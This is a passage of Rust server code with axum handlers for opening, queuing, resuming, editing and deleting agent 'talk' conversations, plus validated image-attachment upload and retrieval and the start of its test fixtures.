3470    repo: Option<PathBuf>,
3471}
3472
3473/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3474/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3475async fn talk_post(
3476    State(ui): State<Arc<Ui>>,
3477    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3478) -> ApiResult<impl IntoResponse> {
3479    // An absent body, or an empty one, is the normal way to open a talk - see
3480    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3481    // rather than refused.
3482    let body = match body {
3483        Ok(Json(body)) => body,
3484        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3485        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3486    };
3487    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3488    let cfg = config_for(&repo).await?;
3489    let view = blocking(move || {
3490        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3491        let thinking = ui.is_thinking(&talk.id);
3492        Ok(TalkView::new(talk, thinking))
3493    })
3494    .await?;
3495    Ok((StatusCode::CREATED, Json(view)))
3496}
3497
3498/// `GET /api/talks/{id}`.
3499async fn talk_detail(
3500    State(ui): State<Arc<Ui>>,
3501    Path(id): Path<String>,
3502) -> ApiResult<Json<TalkDetailView>> {
3503    blocking(move || {
3504        let id = resolve_talk(&ui.talks, &id)?;
3505        let talk = ui.talks.get(&id)?;
3506        let thinking = ui.is_thinking(&talk.id);
3507        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3508            .into_iter()
3509            .map(TaskView::from)
3510            .collect();
3511        Ok(Json(TalkDetailView {
3512            view: TalkView::new(talk, thinking),
3513            tasks,
3514        }))
3515    })
3516    .await
3517}
3518
3519/// The body of `POST /api/talks/{id}/say`.
3520///
3521/// `attachments` names ids `POST /api/talks/{id}/attachments` already
3522/// returned - never bytes of its own - so a turn with no images just omits
3523/// the field, which is what an older front end still does.
3524#[derive(Debug, Default, Deserialize)]
3525#[serde(default, deny_unknown_fields)]
3526struct NewTalkTurn {
3527    text: String,
3528    attachments: Vec<String>,
3529}
3530
3531#[derive(Debug, Deserialize)]
3532#[serde(deny_unknown_fields)]
3533struct EditTalkPending {
3534    text: String,
3535    expected_text: String,
3536    expected_attachments: Vec<String>,
3537}
3538
3539#[derive(Debug, Deserialize)]
3540#[serde(deny_unknown_fields)]
3541struct ClearTalkPending {
3542    expected_text: String,
3543    expected_attachments: Vec<String>,
3544}
3545
3546/// `POST /api/talks/{id}/say` - one turn of the conversation.
3547///
3548/// Not filesystem work, and therefore not routed through [`blocking`]: this
3549/// route spawns an agent CLI and a turn here can run for the whole of
3550/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
3551/// research turn is expected to run commands rather than answer from what it
3552/// already knows. Holding an HTTP connection open that long is not a thing
3553/// to ask a phone to do; the operator's message is recorded and answered for
3554/// immediately, and the reply lands in the background, discovered through
3555/// the change stream's `talks_rev` the same way every other update on this
3556/// surface is.
3557async fn talk_say(
3558    State(ui): State<Arc<Ui>>,
3559    Path(id): Path<String>,
3560    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3561) -> ApiResult<(StatusCode, Json<TalkView>)> {
3562    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3563    if body.text.trim().is_empty() && body.attachments.is_empty() {
3564        return Err(ApiError::bad_request("say something"));
3565    }
3566
3567    let id = {
3568        let ui = Arc::clone(&ui);
3569        let asked = id.clone();
3570        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3571    };
3572    // A closed Talk never accepts a new immediate or queued turn. Check this
3573    // before claiming a slot so its ordinary domain refusal is a 409, not an
3574    // incidental failure from the later record/queue write.
3575    {
3576        let ui = Arc::clone(&ui);
3577        let id = id.clone();
3578        blocking(move || {
3579            let talk = ui.talks.get(&id)?;
3580            if !talk.status.open() {
3581                return Err(ApiError::conflict(format!(
3582                    "talk {} is {} and takes no more turns",
3583                    talk.short(),
3584                    talk.status.as_str()
3585                )));
3586            }
3587            Ok(())
3588        })
3589        .await?;
3590    }
3591
3592    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
3593    // actually stores, before anything is written - an unknown id is a 4xx
3594    // that names it rather than a turn (or a queued draft) silently missing
3595    // an image.
3596    let attachments = {
3597        let ui = Arc::clone(&ui);
3598        let id = id.clone();
3599        let ids = body.attachments.clone();
3600        blocking(move || {
3601            ids.into_iter()
3602                .map(|att_id| {
3603                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
3604                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
3605                    })
3606                })
3607                .collect::<ApiResult<Vec<talk::Attachment>>>()
3608        })
3609        .await?
3610    };
3611
3612    // Pending recovery and a new immediate turn are decided under the same
3613    // claim lock. Without that one critical section, a second `/say` can see
3614    // the first request's claim as "busy" and append itself to the recovered
3615    // draft before the first request rejects it.
3616    let start = {
3617        let ui = Arc::clone(&ui);
3618        let id = id.clone();
3619        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
3620    };
3621    let turn_guard = match start {
3622        TalkTurnStart::Claimed(turn_guard) => turn_guard,
3623        TalkTurnStart::Pending => {
3624            return Err(ApiError::conflict(
3625                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
3626            ));
3627        }
3628        TalkTurnStart::Busy => {
3629            // A turn is already running: queue rather than refuse. See
3630            // `Ui::begin_talk_turn` and `talk::queue`.
3631            //
3632            // The queue write and the drain it may owe live inside the task
3633            // `tokio::spawn` hands to the runtime, for the same reason the
3634            // immediate path below puts `record` there: a dropped handler
3635            // future must not be able to land between a durable write and
3636            // the task that answers it. `blocking` runs its closure on
3637            // `spawn_blocking`, which finishes whether or not anyone is left
3638            // to receive its result - so a disconnect at the `.await` below
3639            // would otherwise leave the draft persisted and the reclaimed
3640            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
3641            // ever started and the queued text stranded until some later
3642            // `say` happened to pick it up. The caller's 202 travels back
3643            // over a `oneshot`, sent the moment the write lands.
3644            let (tx, rx) = tokio::sync::oneshot::channel();
3645            tokio::spawn({
3646                let ui = Arc::clone(&ui);
3647                let id = id.clone();
3648                let said = body.text.clone();
3649                async move {
3650                    let written = blocking({
3651                        let ui = Arc::clone(&ui);
3652                        let id = id.clone();
3653                        move || {
3654                            let mut talk = ui.talks.get(&id)?;
3655                            // A test-only stop point, right before the write
3656                            // an interleaving test needs to pin - see
3657                            // `BusyQueueGate`. `None` in every real server:
3658                            // the field only exists under `#[cfg(test)]`.
3659                            #[cfg(test)]
3660                            if let Some(gate) = ui
3661                                .busy_queue_gate
3662                                .lock()
3663                                .unwrap_or_else(PoisonError::into_inner)
3664                                .take()
3665                            {
3666                                let _ = gate.reached.send(());
3667                                let _ = gate.release.recv();
3668                            }
3669                            if let Err(error) =
3670                                talk::queue(&mut talk, &ui.talks, &said, attachments)
3671                            {
3672                                if let Ok(fresh) = ui.talks.get(&id) {
3673                                    if !fresh.status.open() {
3674                                        return Err(ApiError::conflict(format!(
3675                                            "talk {} is {} and takes no more turns",
3676                                            fresh.short(),
3677                                            fresh.status.as_str()
3678                                        )));
3679                                    }
3680                                }
3681                                return Err(ApiError::from(error));
3682                            }
3683                            // The turn that looked busy a moment ago can have
3684                            // finished, found nothing to drain and given up the
3685                            // slot in the gap between that check and this write
3686                            // landing - see `drain_loop`'s own doc for the other
3687                            // half of why that gap would otherwise be able to
3688                            // open at all. Reclaiming the slot here, rather than
3689                            // trusting that whoever held it is still watching, is
3690                            // what stops the text just queued from being stranded
3691                            // until an unrelated future `say` happens to drain
3692                            // it.
3693                            let claim = match ui.begin_queued_talk_turn(&id)? {
3694                                Some(turn_guard) => {
3695                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
3696                                    Some((talk.clone(), cfg, turn_guard))
3697                                }
3698                                None => None,
3699                            };
3700                            let thinking = ui.is_thinking(&id);
3701                            Ok((TalkView::new(talk, thinking), claim))
3702                        }
3703                    })
3704                    .await;
3705                    let (view, reclaimed) = match written {
3706                        Ok(pair) => pair,
3707                        Err(e) => {
3708                            // Nobody is listening if the handler's own future
3709                            // was already dropped - that is fine, nothing was
3710                            // persisted and there is no response left to carry
3711                            // this error to.
3712                            let _ = tx.send(Err(e));
3713                            return;
3714                        }
3715                    };
3716                    // If this fails, the caller is gone; the drain below still
3717                    // runs exactly as it would have for a caller that stayed.
3718                    let _ = tx.send(Ok(view));
3719                    if let Some((talk, cfg, turn_guard)) = reclaimed {
3720                        let talks = ui.talks.clone();
3721                        drain_loop(talk, talks, cfg, id, turn_guard).await;
3722                    }
3723                }
3724            });
3725            let view = rx
3726                .await
3727                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3728            return Ok((StatusCode::ACCEPTED, Json(view)));
3729        }
3730    };
3731
3732    let (talk, cfg) = {
3733        let ui = Arc::clone(&ui);
3734        let id = id.clone();
3735        blocking(move || {
3736            let talk = ui.talks.get(&id)?;
3737            let (cfg, _) = Config::discover(&talk.repo, None)?;
3738            Ok((talk, cfg))
3739        })
3740        .await?
3741    };
3742
3743    let talks = ui.talks.clone();
3744    // `record` runs *inside* the spawned task, rather than in this handler
3745    // followed by a separate `tokio::spawn` for `respond` - axum drops this
3746    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
3747    // doc), and that drop can land at any `.await` this function makes,
3748    // including one that has already produced its result but not yet
3749    // resumed. A message could end up recorded on disk with the handler
3750    // future gone before it ever reached the `tokio::spawn` that would have
3751    // started the reply. `tokio::spawn` itself is a plain, synchronous call
3752    // that hands the whole future to the runtime as one unit - once made, no
3753    // later drop of *this* handler's own future (that call's return value is
3754    // never held onto here) can reach back in and stop it, so record and the
3755    // hand-off to `respond` are unconditionally atomic from the client's
3756    // point of view. The immediate response this handler owes the caller
3757    // travels back over a `oneshot`, sent the moment `record` succeeds.
3758    let (tx, rx) = tokio::sync::oneshot::channel();
3759    tokio::spawn({
3760        let ui = Arc::clone(&ui);
3761        let talks = talks.clone();
3762        let id = id.clone();
3763        let said = body.text.clone();
3764        let mut talk = talk.clone();
3765        async move {
3766            let recorded = blocking({
3767                let talks = talks.clone();
3768                move || {
3769                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
3770                        if let Ok(fresh) = talks.get(&talk.id) {
3771                            if !fresh.status.open() {
3772                                return Err(ApiError::conflict(format!(
3773                                    "talk {} is {} and takes no more turns",
3774                                    fresh.short(),
3775                                    fresh.status.as_str()
3776                                )));
3777                            }
3778                        }
3779                        return Err(ApiError::from(error));
3780                    }
3781                    // `record` mutates `talk` in place to the freshly persisted
3782                    // state (status, pending, and the just-appended operator
3783                    // turn), so returning it here is equivalent to re-reading it
3784                    // from disk - without the extra round trip a re-read would
3785                    // need.
3786                    Ok((said.trim().to_owned(), talk))
3787                }
3788            })
3789            .await;
3790            let (text, mut talk) = match recorded {
3791                Ok(pair) => pair,
3792                Err(e) => {
3793                    // Nobody is listening if the handler's own future was
3794                    // already dropped - that is fine, there is no response
3795                    // left to carry this error to and nothing was persisted.
3796                    let _ = tx.send(Err(e));
3797                    return;
3798                }
3799            };
3800            let queued = talk.clone();
3801            let thinking = ui.is_thinking(&id);
3802            // If this fails, the caller is gone; the turn still runs below
3803            // exactly as it would have for a caller that stayed connected.
3804            let _ = tx.send(Ok((queued, thinking)));
3805
3806            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3807                // `respond` records the failure in the transcript itself,
3808                // which is what the phone reads; this line is for the
3809                // operator's terminal.
3810                tracing::warn!("talk {id} turn failed: {e:#}");
3811            }
3812            // Anything `talk::queue` added while the turn above was running
3813            // is still owed an answer - see `drain_loop`.
3814            drain_loop(talk, talks, cfg, id, turn_guard).await;
3815        }
3816    });
3817
3818    let (queued, thinking) = rx
3819        .await
3820        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
3821
3822    // 202: the operator's message is recorded and a turn is running.
3823    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
3824}
3825
3826/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
3827/// changing it. The turn guard is the same per-talk ownership `talk_say`
3828/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
3829async fn talk_pending_resume(
3830    State(ui): State<Arc<Ui>>,
3831    Path(id): Path<String>,
3832) -> ApiResult<(StatusCode, Json<TalkView>)> {
3833    let id = {
3834        let ui = Arc::clone(&ui);
3835        let asked = id.clone();
3836        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3837    };
3838    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
3839        return Err(ApiError::conflict(
3840            "a talk turn is already running; the queued draft will be handled by it",
3841        ));
3842    };
3843    let (talk, cfg) = {
3844        let ui = Arc::clone(&ui);
3845        let id = id.clone();
3846        blocking(move || {
3847            let talk = ui.talks.get(&id)?;
3848            if !talk.status.open() {
3849                return Err(ApiError::conflict(format!(
3850                    "talk {} is {} and takes no more turns",
3851                    talk.short(),
3852                    talk.status.as_str()
3853                )));
3854            }
3855            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
3856                return Err(ApiError::conflict("there is no queued draft to resume"));
3857            }
3858            let (cfg, _) = Config::discover(&talk.repo, None)?;
3859            Ok((talk, cfg))
3860        })
3861        .await?
3862    };
3863    let view = TalkView::new(talk.clone(), true);
3864    let talks = ui.talks.clone();
3865    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
3866    Ok((StatusCode::ACCEPTED, Json(view)))
3867}
3868
3869/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
3870/// releasing `turn` only once a check finds it truly empty. Shared by both
3871/// callers that can end up owning a talk's turn slot with something already
3872/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
3873/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
3874/// holder just gave up - see the comment at that call site.
3875///
3876/// The release is folded into the final generation check under `turn`'s own
3877/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
3878/// free". Before its blocking `talk::drain`, this loop observes the queued
3879/// generation. A `say` that sees the turn busy writes its draft, then advances
3880/// that generation. Thus, if it lands while the drain is in flight, the final
3881/// check observes the advance and drains again; otherwise it releases the
3882/// claim while holding the same lock. This keeps the release/arrival handoff
3883/// atomic without holding the global claim mutex across filesystem I/O.
3884async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
3885    let live_set = Arc::clone(&turn.turns);
3886    // `Option` rather than binding `turn` directly to a `_turn` that lives
3887    // for the whole function: releasing it has to happen by calling
3888    // `TalkTurnGuard::release` from inside the locked branch below, which
3889    // takes `self` by value. Left as a plain drop instead, `Drop` would still
3890    // remove the id - correctly, if this loop is ever left some other way -
3891    // but doing it there misses the lock this loop is already holding, which
3892    // is the exact gap `release` exists to close.
3893    let mut turn = Some(turn);
3894    loop {
3895        // `talk::drain` takes the store lock and can write/rename the talk
3896        // file. Keep the turn mutex out of that synchronous work: it protects
3897        // every talk's in-memory claim, not this talk's disk operation.
3898        let observed = live_set
3899            .lock()
3900            .unwrap_or_else(PoisonError::into_inner)
3901            .queued
3902            .get(&id)
3903            .copied()
3904            .unwrap_or(0);
3905        let drained = blocking({
3906            let talks = talks.clone();
3907            move || {
3908                let result = talk::drain(&mut talk, &talks);
3909                Ok((talk, result))
3910            }
3911        })
3912        .await;
3913        let (next_talk, result) = match drained {
3914            Ok(drained) => drained,
3915            Err(e) => {
3916                tracing::warn!(
3917                    status = %e.status,
3918                    message = %e.message,
3919                    "talk {id} could not start queued-text drain"
3920                );
3921                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3922                turn.take()
3923                    .expect("held for the whole loop until released here")
3924                    .release(&mut live);
3925                break;
3926            }
3927        };
3928        talk = next_talk;
3929        let drained = match result {
3930            Ok(Some(drained)) => drained,
3931            Ok(None) => {
3932                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3933                if live.queued.get(&id).copied().unwrap_or(0) != observed {
3934                    continue;
3935                }
3936                turn.take()
3937                    .expect("held for the whole loop until released here")
3938                    .release(&mut live);
3939                break;
3940            }
3941            Err(e) => {
3942                tracing::warn!("talk {id} could not drain queued text: {e:#}");
3943                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
3944                turn.take()
3945                    .expect("held for the whole loop until released here")
3946                    .release(&mut live);
3947                break;
3948            }
3949        };
3950        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
3951            tracing::warn!("talk {id} turn failed: {e:#}");
3952        }
3953    }
3954}
3955
3956/// Clear a queued draft only if it remains exactly the one the caller saw.
3957async fn talk_pending_clear(
3958    State(ui): State<Arc<Ui>>,
3959    Path(id): Path<String>,
3960    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
3961) -> ApiResult<Json<TalkView>> {
3962    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3963    blocking(move || {
3964        let id = resolve_talk(&ui.talks, &id)?;
3965        let mut talk = ui.talks.get(&id)?;
3966        if !talk.status.open() {
3967            return Err(ApiError::conflict(format!(
3968                "talk {} is {} and takes no more turns",
3969                talk.short(),
3970                talk.status.as_str()
3971            )));
3972        }
3973        if !talk::clear_pending_if_matches(
3974            &mut talk,
3975            &ui.talks,
3976            &body.expected_text,
3977            &body.expected_attachments,
3978        )? {
3979            return Err(ApiError::conflict(
3980                "queued message changed; reload it before clearing",
3981            ));
3982        }
3983        let thinking = ui.is_thinking(&talk.id);
3984        Ok(Json(TalkView::new(talk, thinking)))
3985    })
3986    .await
3987}
3988
3989/// Atomically edit a queued draft's text while preserving its attachments.
3990/// The snapshot fields make a concurrent queue or drain a conflict rather
3991/// than silently discarding either message.
3992async fn talk_pending_edit(
3993    State(ui): State<Arc<Ui>>,
3994    Path(id): Path<String>,
3995    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
3996) -> ApiResult<Json<TalkView>> {
3997    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3998    let (view, reclaimed) = blocking({
3999        let ui = Arc::clone(&ui);
4000        move || {
4001            let id = resolve_talk(&ui.talks, &id)?;
4002            let mut talk = ui.talks.get(&id)?;
4003            if !talk.status.open() {
4004                return Err(ApiError::conflict(format!(
4005                    "talk {} is {} and takes no more turns",
4006                    talk.short(),
4007                    talk.status.as_str()
4008                )));
4009            }
4010            if !talk::edit_pending_text(
4011                &mut talk,
4012                &ui.talks,
4013                &body.text,
4014                &body.expected_text,
4015                &body.expected_attachments,
4016            )? {
4017                return Err(ApiError::conflict(
4018                    "queued message changed; reload it before editing",
4019                ));
4020            }
4021            let claim = match ui.begin_queued_talk_turn(&id)? {
4022                Some(turn_guard) => {
4023                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4024                    Some((talk.clone(), cfg, id.clone(), turn_guard))
4025                }
4026                None => None,
4027            };
4028            let thinking = ui.is_thinking(&id);
4029            Ok((TalkView::new(talk, thinking), claim))
4030        }
4031    })
4032    .await?;
4033    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4034        let talks = ui.talks.clone();
4035        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4036    }
4037    Ok(Json(view))
4038}
4039
4040/// `POST /api/talks/{id}/close`.
4041async fn talk_close(
4042    State(ui): State<Arc<Ui>>,
4043    Path(id): Path<String>,
4044) -> ApiResult<Json<TalkView>> {
4045    blocking(move || {
4046        let id = resolve_talk(&ui.talks, &id)?;
4047        let mut talk = ui.talks.get(&id)?;
4048        talk::close(&mut talk, &ui.talks)?;
4049        let thinking = ui.is_thinking(&talk.id);
4050        Ok(Json(TalkView::new(talk, thinking)))
4051    })
4052    .await
4053}
4054
4055/// `POST /api/talks/{id}/reopen`.
4056async fn talk_reopen(
4057    State(ui): State<Arc<Ui>>,
4058    Path(id): Path<String>,
4059) -> ApiResult<Json<TalkView>> {
4060    blocking(move || {
4061        let id = resolve_talk(&ui.talks, &id)?;
4062        let mut talk = ui.talks.get(&id)?;
4063        talk::reopen(&mut talk, &ui.talks)?;
4064        let thinking = ui.is_thinking(&talk.id);
4065        Ok(Json(TalkView::new(talk, thinking)))
4066    })
4067    .await
4068}
4069
4070/// `DELETE /api/talks/{id}`.
4071///
4072/// Removes the conversation's record and artifacts outright, unlike
4073/// [`talk_close`] which keeps the record as history. A turn already in
4074/// flight is not refused here the way [`run_delete`] refuses a live run:
4075/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
4076/// under [`Talks::guard`], that the record they are about to write back is
4077/// still there, so a delete racing a turn is safe without this route having
4078/// to know a turn is running at all.
4079async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4080    blocking(move || {
4081        let id = resolve_talk(&ui.talks, &id)?;
4082        ui.talks.remove(&id)?;
4083        Ok(StatusCode::NO_CONTENT)
4084    })
4085    .await
4086}
4087
4088/// Expand an id or short id to exactly one talk id.
4089fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4090    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4091}
4092
4093/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
4094/// future `talk-say`.
4095async fn talk_attachment_post(
4096    State(ui): State<Arc<Ui>>,
4097    Path(id): Path<String>,
4098    headers: HeaderMap,
4099    body: Bytes,
4100) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4101    let mime = validate_attachment(&headers, &body)?;
4102    let name = filename_header(&headers);
4103    let data = body.to_vec();
4104    blocking(move || {
4105        let id = resolve_talk(&ui.talks, &id)?;
4106        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4107        Ok((StatusCode::CREATED, Json(att)))
4108    })
4109    .await
4110}
4111
4112/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
4113/// `<img>` tag in the transcript.
4114async fn talk_attachment_get(
4115    State(ui): State<Arc<Ui>>,
4116    Path((id, att)): Path<(String, String)>,
4117) -> ApiResult<Response> {
4118    blocking(move || {
4119        let id = resolve_talk(&ui.talks, &id)?;
4120        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4121            return Err(ApiError::not_found(format!(
4122                "talk {id} has no attachment `{att}`"
4123            )));
4124        };
4125        Ok(attachment_response(&meta.mime, data))
4126    })
4127    .await
4128}
4129
4130/// Validate an attachment upload's declared `Content-Type` and the bytes
4131/// themselves, returning the canonical mime on success.
4132///
4133/// Two checks, both required: the header has to name one of
4134/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
4135/// simply never in the list, active content rather than a picture, the same
4136/// exclusion [`asset_content_type`]'s doc explains), and the file's own
4137/// magic number has to agree. The second is what stops a mislabeled upload -
4138/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
4139/// a declared type is a claim, not a fact, so it is never trusted alone.
4140fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4141    if data.len() > ATTACHMENT_MAX_BYTES {
4142        return Err(ApiError::bad_request(format!(
4143            "attachment is {} bytes, over the {} MiB limit",
4144            data.len(),
4145            ATTACHMENT_MAX_BYTES / (1024 * 1024)
4146        ))
4147        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4148    }
4149    if data.is_empty() {
4150        return Err(ApiError::bad_request("attachment is empty"));
4151    }
4152    let declared = declared_mime(headers)?;
4153    match sniffed_mime(data) {
4154        Some(sniffed) if sniffed == declared => Ok(declared),
4155        Some(sniffed) => Err(ApiError::bad_request(format!(
4156            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4157        ))),
4158        None => Err(ApiError::bad_request(
4159            "the file's bytes do not match any accepted image format",
4160        )),
4161    }
4162}
4163
4164/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
4165/// and nothing else - parameters like `; charset=` are stripped, but the
4166/// value itself is not otherwise interpreted.
4167fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4168    let raw = headers
4169        .get(header::CONTENT_TYPE)
4170        .and_then(|v| v.to_str().ok())
4171        .unwrap_or("")
4172        .split(';')
4173        .next()
4174        .unwrap_or("")
4175        .trim()
4176        .to_ascii_lowercase();
4177    ATTACHMENT_MIME_WHITELIST
4178        .iter()
4179        .find(|&&m| m == raw)
4180        .copied()
4181        .ok_or_else(|| {
4182            if raw == "image/svg+xml" {
4183                ApiError::bad_request(
4184                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
4185                     not just a picture",
4186                )
4187            } else if raw.is_empty() {
4188                ApiError::bad_request("Content-Type is required for an attachment upload")
4189            } else {
4190                ApiError::bad_request(format!(
4191                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4192                     image/gif or image/webp"
4193                ))
4194            }
4195        })
4196}
4197
4198/// Identify an image by its magic number, independent of whatever
4199/// `Content-Type` claimed.
4200fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4201    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4202        Some("image/png")
4203    } else if data.starts_with(b"\xff\xd8\xff") {
4204        Some("image/jpeg")
4205    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4206        Some("image/gif")
4207    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4208        Some("image/webp")
4209    } else {
4210        None
4211    }
4212}
4213
4214/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
4215/// display - see [`talk::Attachment::name`]'s doc on why it never
4216/// contributes to a path. A missing or blank header (curl without it, an
4217/// older front end) falls back to a generic name rather than refusing the
4218/// upload over a field that is cosmetic.
4219fn filename_header(headers: &HeaderMap) -> String {
4220    headers
4221        .get(FILENAME_HEADER)
4222        .and_then(|v| v.to_str().ok())
4223        .map(str::trim)
4224        .filter(|s| !s.is_empty())
4225        .unwrap_or("attachment")
4226        .to_owned()
4227}
4228
4229/// Every attachment `GET` response: the mime re-validated against the same
4230/// closed whitelist the upload route enforces - never the string trusted
4231/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
4232/// cannot decide it knows better than the type we send. Unlike a panel asset
4233/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
4234/// document renders inline, not agent-authored HTML in a sandboxed frame.
4235fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4236    let content_type = ATTACHMENT_MIME_WHITELIST
4237        .iter()
4238        .find(|&&m| m == mime)
4239        .copied()
4240        .unwrap_or("application/octet-stream");
4241    (
4242        [
4243            (header::CONTENT_TYPE, content_type),
4244            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4245        ],
4246        body,
4247    )
4248        .into_response()
4249}
4250
4251/// The configuration for a repository, read off the disk for this request.
4252///
4253/// Through [`blocking`] because discovery reads and merges several TOML files,
4254/// and because the alternative - caching it in [`Ui`] at startup - would mean
4255/// the operator's phone kept interviewing with a roster they had already
4256/// changed, with no way to reload it but restarting the server they are not
4257/// sitting in front of.
4258async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4259    let repo = repo.to_path_buf();
4260    blocking(move || {
4261        let (cfg, _) = Config::discover(&repo, None)?;
4262        Ok(cfg)
4263    })
4264    .await
4265}
4266
4267/// The one prefix rule, used for both runs and tasks: a leading match for a
4268/// full id, a trailing match for the short form an operator reads off a
4269/// report. Written here rather than borrowed from `queue::resolve_id` because
4270/// the UI needs the two failures as different status codes, and telling them
4271/// apart from an error message is not something to build a route on.
4272fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4273    let mut hits = ids
4274        .into_iter()
4275        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4276    match (hits.next(), hits.next()) {
4277        (Some(one), None) => Ok(one),
4278        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4279        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4280            "`{prefix}` matches more than one {what}, including {a} and {b}"
4281        ))),
4282    }
4283}
4284
4285#[cfg(test)]
4286mod tests {
4287    use pretty_assertions::assert_eq;
4288    use serde_json::Value;
4289    use tempfile::TempDir;
4290    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4291
4292    use super::*;
4293    use crate::config::Config;
4294    use crate::queue::{Source, TaskStatus};
4295
4296    /// How many 10ms steps a settle loop takes before it calls a stall a
4297    /// stall - thirty seconds.
4298    ///
4299    /// These loops wait on real `sh` subprocesses, and the machine that runs
4300    /// the gate runs several suites at once, so a two-second budget was not
4301    /// waiting for the reply, it was racing the scheduler: two of these
4302    /// tests failed under that load with the turn simply not landed yet.
4303    /// This is a hang guard, not a latency assertion - every loop breaks the
4304    /// moment its condition holds, so a generous cap costs an idle machine
4305    /// nothing and still fails a genuine hang instead of hanging the suite.
4306    const SETTLE_STEPS: usize = 3_000;
4307
4308    /// A home with a queue and a runs directory, and a router serving it on
4309    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
4310    /// dependency, not ours - so the tests drive a real socket, which has the
4311    /// side benefit of asserting the status line and content types the phone
4312    /// actually receives.
4313    struct Fixture {
4314        home: TempDir,
4315        addr: SocketAddr,
4316    }
4317
4318    impl Fixture {
4319        async fn start() -> Self {
4320            Self::with_loop(launch_idle).await
4321        }
4322
4323        /// A fixture whose loop is `launch`.
4324        async fn with_loop(launch: Launch) -> Self {
4325            let home = TempDir::new().expect("temp home");
4326            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4327            Self { home, addr }
4328        }
4329
4330        /// A fixture whose `ui.repo` is a real directory rather than the
4331        /// usual placeholder - for the routes that read config off it
4332        /// (`GET /api/repos`) and would otherwise have nothing to discover.
4333        async fn with_repo(repo: PathBuf) -> Self {
4334            let home = TempDir::new().expect("temp home");
4335            let addr = Self::serve(home.path(), repo, launch_idle).await;
4336            Self { home, addr }
4337        }
4338
